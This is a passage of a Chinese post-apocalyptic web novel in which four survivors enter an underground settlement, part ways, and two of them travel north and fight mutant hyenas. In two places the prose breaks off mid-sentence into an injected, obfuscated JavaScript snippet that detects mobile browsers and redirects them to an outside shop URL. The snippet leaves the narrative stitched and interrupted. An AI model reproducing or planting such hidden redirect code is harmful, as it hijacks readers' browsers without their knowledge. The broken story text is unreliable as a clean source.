而江敛和祝昭,则在这短暂的空隙里,一边警惕着鼠群的动向,一边默默消化、回味着刚才在生死关头获得的、堪称用命换来的、价值千金的“实战课程”。 江敛下意识地握了握拳,感受着体内那缕被封印的“腐蚀”概念,而祝昭则反复回忆着那种情绪引爆潜能的感觉,试图抓住其中的关键。 战斗的余烬尚未完全冷却,四人找到一处背风的断墙后暂作休整。陆昭妄不知从哪里翻出半截还能用的化学燃块,幽蓝色的火焰无声燃起,驱散了些许寒意,也映照着四张神色各异的脸。 祝昭挨着沈悬衡坐下,接过她递来的半瓶水,小口喝着,眼神却不时飘向对面闭目养神的陆昭妄,带着点敢怒不敢言的憋屈,又掺杂着一丝对刚才他那番“教学”的复杂感激。 她体内因激发能力而产生的虚脱感正在缓慢消退,取而代之的是一种奇异的亢奋,仿佛打开了一扇新世界的大门,门后是危险,也是力量。 江敛坐在稍远些的地方,正就着幽蓝的火光,用找到的一小块相对干净的布,沉默而专注地擦拭着之前战斗中沾上的污迹。 他的动作一丝不苟,神情恢复了平时的沉静,只是偶尔抬眼扫视周围环境时,目光会比以往更加锐利。他似乎在重新评估这个世界,以及自己在这个世界中的位置和能力。 沈悬衡的视线掠过正在恢复的祝昭,又落在沉默整理装备的江敛身上。她看着他们眼中那尚未完全掌控、却已然被点燃的力量之火,心中微微一动。 她想起自己初次意识到“代价”存在时的那种茫然与警惕。犹豫了一下,她轻轻吸了口气,打算开口提醒他们,能力固然是利器,但过度依赖或许会带来更深的隐患,需要找到自身与异能之间的平衡。 她的目光下意识地转向陆昭妄,带着征询的意味。几乎在她看过去的瞬间,陆昭妄便掀开了眼皮。幽蓝火光下,他的眼神清明而冷静,没有丝毫刚休息过的朦胧。他准确地 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江敛没有立刻回答,而是将擦拭干净的物件仔细收好,然后才抬起头,看向远处黑暗中隐约可见的、代表“巢穴”方向的微弱光点。“那里……需要秩序。”他给出了一个符合他性格的、务实甚至有些刻板的理由。然而,他的下一句话却让陆昭妄挑了挑眉。“而且,”江敛的视线转向陆昭妄,语气郑重,“欠的债,该还了。” 他指的是救命之恩,也指的是刚才那场“实战教学”。那种深入骨髓的责任感让他无法心安理得地接受馈赠而不思回报,哪怕这回报在别人看来可能微不足道,或者对方根本不在意。 陆昭妄闻言,嘴角勾起一抹没什么温度的弧度,语气带着他特有的、将一切都明码标价的讽刺:“利息可不低。”他似乎很乐于扮演这个锱铢必较的债主角色。 祝昭看着江敛平静却坚定的侧脸,又看了看对此似乎并不意外的陆昭妄和沉默不语的沈悬衡,张了张嘴,似乎想说什么,最终却只是低下头,玩弄着自己的衣角。 她原本以为可以跟着沈悬衡他们继续走下去,去看看更广阔、或许也更危险的世界,但江敛的决定,以及他话语里透露出的那种属于成年人的、冷静到近乎残酷的权衡,让她第一次清晰地意识到,这段被迫同行的旅程,或许真的快要走到分岔路口了。 篝火噼啪轻响,映照着四人之间复杂难言的气氛。 夜色渐深,化学燃块的光芒也渐渐微弱下去。休整过后,四人再次启程。越靠近“灰鼹鼠巢穴”,周遭的景物似乎也发生着细微的变化。废弃车辆和建筑残骸被更有规律地堆放在道路两侧,像是被人粗略地清理过。偶尔还能看到一些模糊的标记刻在断墙上,指向同一个方向。 一路上,气氛比之前更加沉闷。江敛的话像一块投入水中的石头,在每个人心中漾开了不同的涟漪。祝昭明显安静了许多,不再像之前那样时不时找沈悬衡说话,只是低着头默默赶路,偶尔抬眼偷偷观察其他人的神色,尤其是江敛那看不出情绪的侧脸。她似乎还在消化那个即将到来的分别。 沈悬衡将这一切看在眼里。她能理解江敛基于责任和秩序感做出的选择,也明白祝昭此刻的彷徨。 她自己心中同样并不平静。与陆昭妄的理念冲突尚未解决,如今这支临时小队又面临着解散。她下意识地看了一眼走在前面的陆昭妄,他依旧那副对周遭漠不关心的样子,仿佛刚才江敛的宣言只是无关紧要的背景噪音。 终于,在穿过一条被废弃车辆封堵、需要从旁边建筑内部迂回的小路后,他们站在了一处地势稍高的坡顶。下方,一片依托着旧时代地铁站入口和周边建筑群构建的聚居地映入眼帘——“灰鼹鼠巢穴”。 与之前那个混乱的“流浪者集市”不同,这里看起来更有组织。入口处有简易的栅栏和瞭望台,隐约能看到人影晃动。内部虽然依旧破败,但一些区域亮着稳定的灯火,甚至能看到零星的、被精心照料的绿色植物,在这片灰败的废墟中显得格外珍贵。 四个人站在坡顶,望着下方的灯火,一时都没有说话。远方巢穴的喧嚣与此刻他们之间的沉默形成了鲜明的对比。 祝昭看着下方那片似乎蕴含着生机的光亮,又看了看身边沉默的三人,终于忍不住,小声问沈悬衡,声音里带着一丝不易察觉的期盼和忐忑:“姐姐,你们……会在这里留下吗?” 沈悬衡还没来得及回答,前方的陆昭妄却轻笑了一声。那笑声在夜风中显得有些单薄,带着他惯有的、仿佛对一切都了然于胸的疏离感。 “我们不是来定居的。”他甚至没有回头,目光依旧落在远处的巢穴上,语气淡漠。 他微微侧过头,视线扫过身后的三人,最后在沈悬衡身上停留了一瞬,夜色模糊了他脸上的表情,只有声音清晰地传来: “记住,再好的投资也有退出的时候。” 话音落下,他不再多言,率先迈步朝着坡下那片灯火走去。沈悬衡看着他的背影,轻轻吸了一口冰凉的空气,跟了上去。江敛沉默地紧随其后,步伐坚定。祝昭落在最后,她看着前方三个即将走向不同方向的身影,又望了望近在咫尺、可能成为她未来归宿的巢穴,眼神复杂,最终也迈开了脚步。 夜色浓重,将四人的身影吞没,只有远方的灯火,如同沉默的见证者,预示着即将到来的聚散离合。 10. 要账要出个大宝贝 穿过最后一片由瓦砾和锈蚀车辆残骸构成的缓冲带,“灰鼹鼠巢穴”那标志性的入口终于出现在视野尽头。 那并非什么光鲜亮丽的新建堡垒,而是一个深深嵌入地下的、旧时代地铁站的遗迹。入口处经过粗暴的改造和加固,粗粝的混凝土如同丑陋的疤痕覆盖在原有的建筑结构上,扭曲重新焊接的金属板则像暴露在外的肋骨,共同构成了一道看似杂乱却透着森严气息的屏障。 这里静得出奇,只有风声穿过金属缝隙发出的呜咽,以及守卫们沉稳而警惕的脚步声。几名装备着虽然简陋但是统一制式武器、眼神锐利如鹰的守卫扼守在通道两侧,他们的姿态明确传达着一个信息——这里不欢迎任何意外。 空气中弥漫的不仅仅是地下空间固有的潮湿和霉味,更有一股仿佛凝结成实质的、被严密控制着的压抑感,每一寸空间都在无声地宣告着此地的规则与排外。 “排好队!所有进入者,接受检查!”一个脸上带着疤痕的守卫粗声喊道,声音在通道里回荡。 沈悬衡、陆昭妄,以及紧紧跟在他们身后的祝昭,作为明显的外来者,被归到了一起,接受了第一波基础筛查——简单的身体扫描,确认没有明显的大面积数据污染或携带危险能量反应,以及随身的物品被粗略地翻开检查。 过程很快,但守卫们冰冷的目光始终没有离开他们。 接着是第二波,分流问询。 江敛因为声称是之前外出搜寻物资的小队成员,被单独点出,带往了旁边一个用破旧隔板围起来的区域。 隔着一段距离,沈悬衡能看到江敛正在急切地对里面的检查人员说着什么,他提到了“队长”这个词。 负责问询他的两名检查人员面无表情地操作着一个老旧的数据终端,其中一人用一种近乎刻板的语调回答:“根据规定,所有外勤人员回归必须在入口登记处进行生物信息核验。系统记录显示,您所在小队的队长,自出发后未有核验入内的记录。” 另一名检查人员抬起眼,眼神似乎有瞬间的放空,补充道,语气略显机械:“也许……他选择了其他路径回归,或者……遇到了无法按时返回的情况。” 这句话本身合乎逻辑,但沈悬衡的眉头几不可查地蹙了一下。她敏锐地察觉到,那名检查人员在说出后半句时,眼神掠过一丝极不自然的停滞,如同精密齿轮突然卡顿,与他之前对规章制度的熟悉形成了某种微妙而违和的反差。 那不像是回忆或推断,更像是在……复述某种设定好的说辞。 另一边,沈悬衡三人也被询问了来历和目的。 “只是路过,补充些必需品,最多停留一晚。”陆昭妄回答得漫不经心,眼神却快速扫视着周围的环境和人员配置。 当祝昭小声但坚定地表示她想留下来,在这里定居时,检查人员打量了她一番,点了点头:“想定居的去那边区域,做进一步检查和登记。” 她便被另一人领着,走向了通道更深处的另一个方向。 而沈悬衡和陆昭妄,则被示意跟着一名守卫,前往“临时停留人员检查点”完成后续程序。那是一个更简陋的区域,只有几张桌椅,检查也更流于形式,更像是最后一道确认手续。 就在他们完成检查,在一个指定区域等待领取临时通行凭证时,一阵不寻常的动静引起了他们的注意。 巢穴内部,原本还算有序的通道里,突然有几名装备更精良的安保人员快速跑动起来,他们神色严峻,低声交谈着,目光锐利地扫视着四周,似乎在紧急地搜寻着什么人或东西。原本就紧张的气氛,陡然间变得更加凝重。 沈悬衡立刻靠近陆昭妄,将声音压到最低:“刚才江敛那边……检查人员的状态不太对劲。提到他队长时,那个人的反应,不像正常人。” 陆昭妄的目光追随着那些跑动的安保,脸上没什么表情,只是微微颔首,表示他听到了。“这地方,规矩多,怪事看来也不少。”他顿了顿,声音同样低沉,“你觉得,该把我们看到的‘不对劲’,告诉那个一心要留下来的小麻烦吗?” 沈悬衡沉默了片刻,看着祝昭离开的方向,眼神里有一丝挣扎:“江敛可能已经察觉,或者……他本身就是目标之一。祝昭留下来,有知情权。” 她倾向于告知,这是她的道德准则。 陆昭妄却扯了扯嘴角:“知情?然后呢?让她现在闹起来,还是跟着我们走?信息不足,打草惊蛇,我们可能都出不去。” 他的考量永远基于现实风险和利弊。 短暂的沉默在两人之间弥漫,关于是否告知祝昭的争论没有结果,最终被现实推着向前——一名守卫示意他们“临时停留”手续已办妥,可以有限度地在指定区域活动,并告知他们江敛稍后会来找他们。 等待的时间并不长。江敛的身影出现在通道口,他的表情比平时更加冷硬,步伐却依旧沉稳。他径直走向陆昭妄和沈悬衡,先是微微颔首,然后递过来一个看起来分量不轻的、用防水布包裹的物件。 “地图,北部区域的,标注了已知的安全点和危险区,还有资源分布。”他的声音不高,但清晰,“还有一些耐储存的食物、基础药品,和两套内部流通的、应对严寒的改装衣物材料。”他顿了顿,补充道,“这是我目前能以回归成员身份申请到的额度。” 接着,他又拿出一个小巧的数据存储器,递给陆昭妄,眼神郑重:“这里面是我根据现有权限,能接触到的所有关于北方、异常气候模式、以及‘基石’、‘奠基者’等关键词的公开或低级加密信息碎片。暂时只有这些,更核心的资料,我需要时间,也需要更高的权限才能接触。” 他提到权限时,语气微微下沉,似乎联想到了什么。“关于我失踪的队长……他的任务记录有些字段被加密了,我目前无法查询细节。” 陆昭妄接过存储器和包裹,快速掂量了一下,又检查了存储器的接口型号,脸上没什么惊喜,但也挑不出毛病,只是淡淡“嗯”了一声,算是认可了这份“报酬”。 沈悬衡对于这份她未曾知晓的消息,并没有什么过多的表示,只是微不可查的看了一眼陆昭妄。 江敛做完这些事,和两人做了个简单的告别,便被守卫叫到其他地方去了。 就在这时,祝昭也小跑着过来了,她的定居手续似乎办理得还算顺利,脸上带着一丝如释重负,又混合着对未来的茫然。 她看到江敛带来的东西,像是下定了决心,从自己那个看起来容量不大的随身小包里,小心翼翼掏出了四个小巧的、泛着暗哑金属光泽、类似旧时代徽章一样的薄片。 她先郑重地将两个徽章分别递给沈悬衡和陆昭妄。 “这个……给你们。”她声音带着一种与过往告别的沉重,“是我偶然在以前在一个废弃的生物研究所里找到的。旁边遗留下来的资料上说,这东西……很奇特,它似乎能‘判断’持有者是否真的面临必死之境,只在那一刻才会生效,被动抵挡一次致命伤害。” 她解释着,目光有些悠远,仿佛想起了什么。 “我当时找到了五个……自己遇到危险时用掉了一个,它确实救了我的命。之前数据交换中心那里那么危险它没反应,大概是因为……它‘判断’我不会死在那里吧。” 她看着手里剩下的两枚徽章,眼神柔和了些,也沉重了些。 “这剩下的四个,我本来想带回去给我之前的队友……” 她的声音哽了一下,视线有些模糊,快速低下头,“……可是,等我千辛万苦回去的时候,他们已经……不在了。” 她用力吸了口气,重新抬起头,将其中一枚徽章紧紧握在手心。 “这个我自己留着。”然后看向江敛离开的方向,将最后一枚也握紧,“还有一个……等江敛出来,我想给他。” 这份礼物,远超出普通物资的价值,承载着她未能送出的心意、惨痛的回忆,以及对新同伴的牵挂。 沈悬衡接过徽章,感受到金属片上传来的微凉触感和其代表的分量,她看着祝昭,认真地说:“谢谢。这份礼物很珍贵,我们会小心保管。” 她没有说更多安慰的话,此刻任何言语都显得苍白,但她理解了祝昭此举背后的全部重量。 陆昭妄捏着那枚小小的徽章,在指尖转了转,目光在祝昭微红的眼眶和紧握徽章的手上停留了一瞬,又瞥了一眼江敛刚才离开的方向,随即不动声色地将其收好,只是简短地说了句:“东西我们收了。你……自己保重。” 语气依旧平淡,但少了些许之前的疏离。 祝昭用力点头,将留给自己和江敛的两个徽章小心翼翼收进贴身口袋。 她似乎想再多为他们做点什么,犹豫了一下,又开口道:“还有……关于北边,我之前的队伍本来打算去一个叫‘回声小镇’的地方落脚,听说就在‘三峰雪山’脚下,是个旧中转站,房子没怎么塌。” 她顿了顿,眼神掠过一丝哀伤,但很快振作,“我们在打听消息的时候,队长还从一个快咽气的流浪老头那儿,换来一段稀里糊涂的话,他觉得有意思,就记在日志里了。” 她努力回忆着,仿佛在脑海中翻看那本已随队友逝去的日志:“那段话文绉绉的,绕得很,但我记得特别清楚,因为当时我们还一起猜了好久……大概是这么说的。” 「北荒有绝壑,隐于三峰之阴,寒不能侵。地脉沸涌,白雾蒸腾如龙蛇起陆,硫磺之气氤氲不散。侧有黑岩嶙峋,状若巨兽遗骸,叩之铮然。尤异者,谷中时有蜃光流转,非虹非霞,映于雾中,现奇纹如卦,似蕴玄机。泉畔生异草,经冬不凋,其叶脉络间,隐有流光暗渡,非世间常物。」 祝昭念完,有些不好意思地笑了笑:“队长说,这听着就像个神话故事,什么大地是热的,冬天还有绿色,太扯了……但里面提到的‘巨兽残骸’、还有那种会发光的草和雾里的‘奇纹’,听着又特别邪乎,不像是完全编的。” “我们当时还瞎猜,那地方是不是藏着什么旧时代的宝贝,或者……根本就不是我们这个时代的东西。可惜……还没来得及去验证。” 她的声音低了下去,带着对往昔的无尽怀念。 这时,之前带领江敛离开的那名检查人员去而复返,对着还在原地等待的沈悬衡和陆昭妄生硬地说道:“你们临时停留的权限已经登记,可以在指定区域活动到明天清晨。过时不离开,将按闯入者处理。” 他说完,目光扫过祝昭,并未多言,转身便离开了。 检查人员离开后,气氛有片刻的凝滞。 祝昭看着沈悬衡,眼神里充满了不舍和还未完全消退的悲伤,以及一丝对未来的不安。她张了张嘴,似乎想再说些什么,但最终只是轻声问:“姐姐,你们……明天一早就要走了吗?” 沈悬衡看着她,清晰地感知到那份未说出口的担忧。她想起之前观察到的异常,以及陆昭妄关于“打草惊蛇”的警告。 最终,她选择了更隐晦的方式,伸出手,轻轻握了握祝昭的手腕,力道不大,却带着安抚的意味。 “在这里,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆昭妄接过,手指捻了捻衣料的厚度,嗤笑一声:“圣人小姐终于学会核对账目了?” 嘲讽依旧,但似乎少了些火药味。 沈悬衡没有理会他的嘲讽,目光扫过这个昏暗、寒冷,却暂时能隔绝外界危险的栖身之所,低声道:“不是因为投资。” 她停顿了一下,仿佛在斟酌用词,然后才继续说,“是因为冬天来了,而我们……” 她侧过头,看向他,吐出了两个字: “……同行。” 陆昭妄正准备将衣物卷起的动作顿住了。他沉默了片刻,没有看沈悬衡,而是将目光投向角落外那片被昏暗灯火与深邃阴影切割的巢穴通道,最终,他将衣物利落地塞进即将充作枕头的背包里,语气生硬,却不再带着刺: “共识达成。那么现在,首要任务是——”他拍了拍那个背包,“轮流守夜,把这鬼地方唯一还算安静的几小时睡过去。明天天亮,出发去‘回声小镇’。” 他没有再展开地图,但之前的分析已然清晰:先解决生存,再图谋那个关于神秘光芒与世界真相的遥远约定。 沈悬衡轻轻“嗯”了一声,没有再多言,在他对面靠墙坐下,开始整理自己那份简单的行装。 巢穴深处的某种机械运转声低沉地嗡鸣着,如同这个地下世界的呼吸。两人不再交谈,在废弃建材的掩蔽下,轮流值守,度过了在“灰鼹鼠巢穴”的最后一夜。 当次日清晨,从高处通风口滤下的天光勉强驱散通道深处的黑暗时,两人已收拾停当。 没有惊动太多人,但他们离开的动静无法完全避开巢穴的守卫系统。就在他们接近那由混凝土和锈铁构筑的出口时,一名穿着统一制服、脸色严肃的检查人员从侧面的岗亭里走了出来,抬手拦住了他们,他身后还站着两名配着武器的守门人。 “临时停留凭证。”检查人员的声音没什么起伏,公事公办。 陆昭妄脸上立刻挂起了那副恰到好处的、带着点散漫又算不上冒犯的表情,利落地从口袋里掏出那张薄薄的临时通行证递了过去。 检查人员接过,在一个老旧的手持终端上扫描了一下,屏幕发出微弱的绿光。“停留时限,清晨。符合规定。”他抬起眼,目光在陆昭妄和沈悬衡以及他们不多的行李上扫过,“按照条例,临时人员离开需进行最终物品核查。请配合。” 他示意了一下旁边一张空置的桌子。沈悬衡沉默地将自己的背包放上去,打开,里面是简单的物资和医疗包。检查人员粗略地翻看了一下,点点头。轮到陆昭妄,他也依样打开行囊,里面的东西同样简单。 检查人员重点检查了是否有违禁的武器或大量未申报的物资,确认无误后,在终端上做了记录。 “可以了。”他侧身让开通道,对身后的守门人点了点头。其中一名守门人熟练地操作旁边一个手动绞盘,那扇金属板门发出刺耳的摩擦声,缓缓向一侧滑开一道仅容一人通过的缝隙。 “祝你们在外面的‘好运’。”检查人员公式化地说了一句,听起来更像是一句惯例,而非祝福。 陆昭妄扯了扯嘴角,没回应,率先侧身从门缝挤了出去。沈悬衡紧随其后。 当那扇沉重的门在身后缓缓合拢,发出“哐当”一声闷响,将巢穴内部沉闷的空气与规则彻底隔绝时,凛冬的晨风如同刀片般刮过脸颊,比地下更刺骨,却也带着一种近乎残酷的清醒。 他们最后回望了一眼那沉埋地下的聚居地,随即转身,迈入了北方荒野那片灰白迷蒙的晨雾之中。 脚下不断延伸的,是通往第一个现实目标的求生之路。 而深埋于心的,则是一个关于神秘光芒与世界真相的遥远约定。 11. 不太友好的房东 北方的天空是一种被稀释过的、近乎无情的灰蓝色,太阳悬在那里,像一枚久置而氧化变色的旧银币,散发的光与热都显得吝啬而敷衍,仅仅是将天地间的一切勾勒出更加硬朗、清晰的轮廓,却无法带来丝毫暖意。 风已经彻底变了脾气,不再是夏末那带着余温的抚触,而是秋初那干燥爽利的清扫,而是带着一种明确的、沁入骨缝的凉意,它贴着地皮卷过来,狡猾地钻进衣物的缝隙,吹动匍匐在地、早已失去水分的枯黄草茎,扬起细小的沙砾和尘埃,打在裸露的金属残骸或坚韧的岩石表面,发出单调而持续的沙沙声,仿佛在为这片死寂的土地演奏一首永无止境的安魂曲。 视线所及,是大片大片失去生机的地表,一种近乎绝望的苍凉蔓延开来。 曾经或许繁茂的植被,如今只剩下扭曲、干枯的枝干,颜色是深浅不一的灰褐,像一片片暴露在空气中、早已坏死的神经末梢,以各种痛苦的姿态固执地指向那片冷漠的天空。 更远处,起伏的丘陵轮廓在稀薄而锐利的光线下显得坚硬而沉默,如同沉睡巨兽嶙峋的脊背,隐藏着未知的危险与秘密。 两道身影就在这片广袤而荒芜的画卷之上,以一种高效而警惕的节奏移动着,像是两个误入巨人废弃庭院的渺小生灵。 陆昭妄走在稍前的位置,步幅大而稳定,看似随意,但那双深褐色的眼睛如同最精密的扫描仪,不断掠过前方的地形、天际线的变化以及任何可能藏匿危险的阴影角落。 他左侧那缕银灰挑染在黯淡光线下偶尔闪过一抹微光。 他抬了抬下巴,指向右前方一片由大小不一的颜色岩石杂乱堆积而成的坡地,声音不高,却清晰地穿透了呼呼的风声:“那边,石头堆的背阴面,是个打伏击的好地方,视野够宽,能覆盖我们过来的整片区域,而且侧面那条冲沟,退路也方便。” 他甚至没回头,仿佛脑后长眼,确信身后的人能跟上他高速运转的思路和战斗节奏。 沈悬衡跟在他侧后方几步远,她的步伐更轻,落足时带着一种本能的谨慎,像是不愿过多惊扰这片死寂土地下可能沉睡的什么东西。 她的目光更多地落在脚下和周围的环境细节上,如同一个在废墟中寻找线索的考古学家。听到陆昭妄的话,她只是微微颔首,视线却投向另一侧一片地势较低、土壤颜色明显更深的地方,那里顽强地生长着几丛异常茂密、颜色深谙得近乎墨绿的苔藓。 “风向在转,从西北来,带着湿气。傍晚前,空气中的湿度会加大,温度降得会比昨晚更快。那片苔藓的长势和种类,说明附近可能有过稳定的水源,或者……更可能的是,地下不深处有涵水层。” 她的声音平静无波,像是在陈述一个经过验证的客观事实,而非毫无根据的猜测。 她的观察远不止于此。 她忽然蹲下身,指尖轻轻拂过地面几道模糊的、几乎要被风沙抹平的印记——那并非野兽的脚印,也非人类的足迹,更像是某种条状的重物被规律地、间歇性地拖拽后留下的浅痕,断断续续,指向远方。 “不是车轮,辐照车的履带痕迹也不是这样。也不是我们已知的任何一种常见变异体的足迹。这东西……移动方式很特别,几乎没有明显的步伐间隔,像是……滑行,或者被某种规律性的力量牵引。” 她抬起沾了些许尘土的手指,轻轻捻动,似乎在感知残留的、肉眼不可见的信息。 两人之间没有多余的交谈,只在必要时交换简短的信息和判断。 手势、眼神的瞬间交汇,以及长期在生死边缘磨合出的、对彼此下一个行为模式的精准预判,构成了他们此刻最主要的交流方式。 陆昭妄负责规划最优路径和预警宏观的、即时性的威胁,而沈悬衡则补足了环境与生态中那些容易被忽略的、却可能决定生死存亡的细微线索。 这是一种超越了言语的默契,是无数次在钢铁与血肉的考验中用经验与信任淬炼出的、纯粹的生存本能。 他们默契地绕开那片枯死的、树干上布满诡异螺旋状纹路、仿佛被无形之手强行拧过的林地,前方是一片相对开阔的、遍布着被风蚀成奇形怪状岩石的丘陵地带。 空气里,那股属于末世的、混杂着数据尘埃、金属锈蚀和某种若有若无腐败气息的无形压力,似乎随着他们的深入而变得更加粘稠、沉重。 走在前的陆昭妄毫无征兆地猛地停下脚步,同时抬起右臂,手掌握成一个紧绷的、不容置疑的拳头。 跟在身后的沈悬衡几乎在陆昭妄握拳的瞬间便已伏低身体,如同猎豹般悄无声息地闪到一块风化的巨岩之后,所有气息收敛殆尽。 她的目光锐利地扫向前方,顺着陆昭妄视线锁定的方向。 前方丘陵的棱线背后,几颗覆盖着斑驳杂毛、眼眶中闪烁着不正常红光的脑袋探了出来。 是变异鬣狗,大约五六只,瘦骨嶙峋,裸露的皮肤上能看到扭曲增生的肉瘤和细微的数据流闪光,涎水从它们呲出的惨白利齿间滴落,带着轻微的腐蚀性嘶嘶声。 陆昭妄没有动用他那诡异的能力,只是反手缓缓抽出了别在背包侧面的那根锈迹斑斑、却被他磨得异常尖锐的钢筋。 他侧头,对沈悬衡的方向递过一个极其短暂的眼神——那里面没有询问,只有清晰的战术分配。 下一秒,他如同离弦之箭般猛地窜出,不是直线冲锋,而是利用地面上零散的岩石作为掩护,以之字形路线高速接近。他的动作带着一种经过千锤百炼的、摒弃了一切冗余的效率美。 第一只扑上来的鬣狗被他一个精准的侧滑步避开,钢筋在空气中划出一道短促而致命的弧线,带着撕裂风声的尖啸,精准无比地捅进了那畜生暴露出的颈侧关节缝隙。 他甚至没有多看一眼,借势拧腰,钢筋带着一蓬暗红色的污血抽出,脚下一蹬,已然迎向另一只。 沈悬衡也没有丝毫迟疑。她没有选择与鬣狗正面角力,而是如同鬼魅般在战场边缘游走。 她拾起地上棱角尖锐的石块,手腕发力,石块带着精准的力道砸向一只试图从侧翼偷袭陆昭妄的鬣狗眼窝。那畜生吃痛,发出一声凄厉的惨嚎,攻势瞬间瓦解。 当另一只鬣狗凭借速度猛地扑向她时,沈悬衡不退反进,在利爪即将触及面门的刹那,身体如同柔韧的柳条般向后仰倒,同时右脚脚尖勾起,精准地踢在鬣狗前肢的脆弱关节处。 那鬣狗前冲的势头被她这巧妙的一带,加上自身惯性,整个身体失控地向前翻滚出去,重重撞在一块凸起的岩石上,发出一声令人牙酸的骨裂声。 战斗爆发得突然,结束得也迅速。 这些被饥渴驱动的掠食者,在两人毫无破绽的配合与高效杀戮面前,很快变成了地上几具尚在抽搐的尸体。 陆昭妄甩了甩钢筋上黏稠的污血,在那只被他捅穿脖颈的鬣狗尸体上蹭了蹭鞋底,撇了撇嘴,语气里带着惯有的刻薄:“这帮家伙的伙食水平看来也不怎么样,饿得皮包骨头,咬合力估计连旧时代的吉娃娃都不如。” 沈悬衡没有回应他的调侃。 她微微喘息着,目光落在不远处一个被杂草半掩的土坑旁。那里散落着一些更为巨大、颜色惨白的骨骼碎片,上面布满了深刻的啃咬痕迹,与刚才那些鬣狗的齿痕吻合。她走过去,蹲下身仔细查看。 “和之前我们在路上发现的骸骨属于同一种类。”她抬起头,看向走过来的陆昭妄,声音恢复了平日的冷静,“这些鬣狗只是在啃食尸体,它们不是猎杀者。真正干掉这个‘大块头’的东西,不在这里。” 空气中弥漫开浓郁的血腥味和鬣狗体内散发出的、类似电路烧焦的古怪臭味。 风依旧吹着,卷过战场,带来更深沉的凉意,也将远处丘陵背后某种无形的压力,悄悄推向他们。 陆昭妄顺着她的目光看向那片巨大的骸骨,眼神里那点戏谑慢慢沉淀下去。 他丢掉手里沾满污秽的钢筋,从背包侧袋抽出一根备用的、磨尖的金属水管握在手里,下巴朝着远离这片血腥地的方向扬了扬。 “天快黑了,”他的声音压低了少许,带着一种不容置疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647168|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的决断,“找个背风的地方,轮流值守。今晚得把眼睛睁大点。” 他们最终选定了一处半塌的土坡背风面作为今晚的露营地。这里视野相对开阔,背后结实的土墙也能阻挡部分愈演愈烈的寒风。 两人迅速清理出一小片区域,动作麻利却全程无话,之前那场关于“代价”与“价值”的争论,如同无形的壁垒,横亘在逐渐加深的暮色里。 没有生火。陆昭妄将从巢穴换来的、内部衬着特殊隔热材料的改装外套扔了一件给沈悬衡,自己裹上另一件,靠着土墙坐下,闭上了眼睛。“下半夜叫我。”他的声音有些闷,带着刻意维持的平淡。按照约定,他值第一班休息。 沈悬衡在他对面几步外坐下,将装着药品和那枚徽章的布袋放在触手可及的地方,沉默地注视着前方那片被夜色缓缓吞噬的荒原。 时间在寂静中流逝,只有风声变换着调子,时而呜咽,时而尖啸。 天并没有完全黑透,还残留着一丝灰蓝色的天光,勾勒出世界模糊而坚硬的轮廓。 本该休息的陆昭妄忽然动了一下,他睁开眼,眼底并没有什么睡意,反而有种清醒的烦躁。他坐起身,屈起一条腿,手臂搭在膝盖上,目光没有焦点地落在前方的黑暗中。 “喂,”他突然开口,声音打破了令人窒息的沉默,却比沉默更显得紧绷,“你说,那些拼了命想造个‘伊甸园’的人,图什么?”他没看沈悬衡,像是在问空气,又像是在质问她那个执着于“可能性”的理想,“就为了在那见鬼的末日里,再体验一把排队领救济粮的滋味?” 沈悬衡没有立刻回答。她抬起头,望向那片正在被星辰逐渐点亮的、冷漠的夜空。 许久,她才轻声回应,声音在风里显得有些飘忽:“也许……只是为了证明我们还能建造,而不是只能毁灭。” 陆昭妄嗤笑一声,带着惯有的嘲弄,但这次,那嘲讽底下似乎藏着一丝别的什么。 “建造?用什么呢?用谎言?用牺牲?还是用我们身上这种……不知道什么时候就会反咬一口的‘恩赐’?”他下意识地用指节敲了敲自己的太阳穴,那里曾经历过逻辑重构带来的剧痛,“在我看来,找个角落囤够物资,活一天算一天,比那种虚无缥缈的‘证明’实在多了。” “然后呢?”沈悬衡转过头,看向他模糊的侧影,“活着,仅仅是为了‘活着’本身?像那些鬣狗一样,为了下一口腐肉而撕咬?”她的语气依旧平静,却像锥子一样扎向他话语的核心。 “不然呢?”陆昭妄猛地转过头,对上她的目光,即使在昏暗的光线下,也能感受到他眼中锐利的光,“像你一样,为了几个不相干的人,随时准备把好不容易捡回来的命再搭进去?你这不叫‘建造’,沈悬衡,你这叫……奢侈。”他把最后两个字咬得很重。 “这不是奢侈。”沈悬衡的声音低沉下去,却带着一种不容置疑的重量,“这是选择。选择不变成我们正在对抗的东西。如果活着意味着最终要变成另一场灾难的根源,那这样的‘活着’,和死了有什么区别?”她顿了顿,补充道,“就像你,你明明可以用更残酷的方式解决所有问题,但你每次,都留有余地。” 陆昭妄像是被什么东西噎住了,所有准备好的尖锐反驳都卡在了喉咙里。 他死死地盯着她,想从她脸上找出哪怕一丝一毫的虚伪,却只看到一片沉静的、如同夜空般的坦然。 他猛地转回头,不再看她,胡乱地扒了一下自己的头发,像是要把这些烦人的思绪都甩出去。 沉默再次降临,但这一次,不再是冰冷的隔阂,而是一种充满未尽之言的、躁动不安的粘稠。 “睡觉。”他最终干巴巴地吐出两个字,重新闭上眼睛,将身体更紧地缩进外套里,仿佛这样就能隔绝一切。 沈悬衡看着他明显紧绷的背影,没有再说话。 她重新将目光投向远方,那里,最后一丝天光也终于被大地吞没,完整的夜幕笼罩下来,唯有零星的星辰,如同冻结在无尽深渊里的冰晶,散发着遥远而微弱的光。 12. 前面有群整齐的怪 风成了这片土地唯一的主宰,不知疲倦地号叫着,卷起地上的一切——枯死的草屑、细碎的沙石、甚至一些轻巧的金属碎片,将它们搅成一股股昏黄的涡流,抽打在一切阻碍物上。 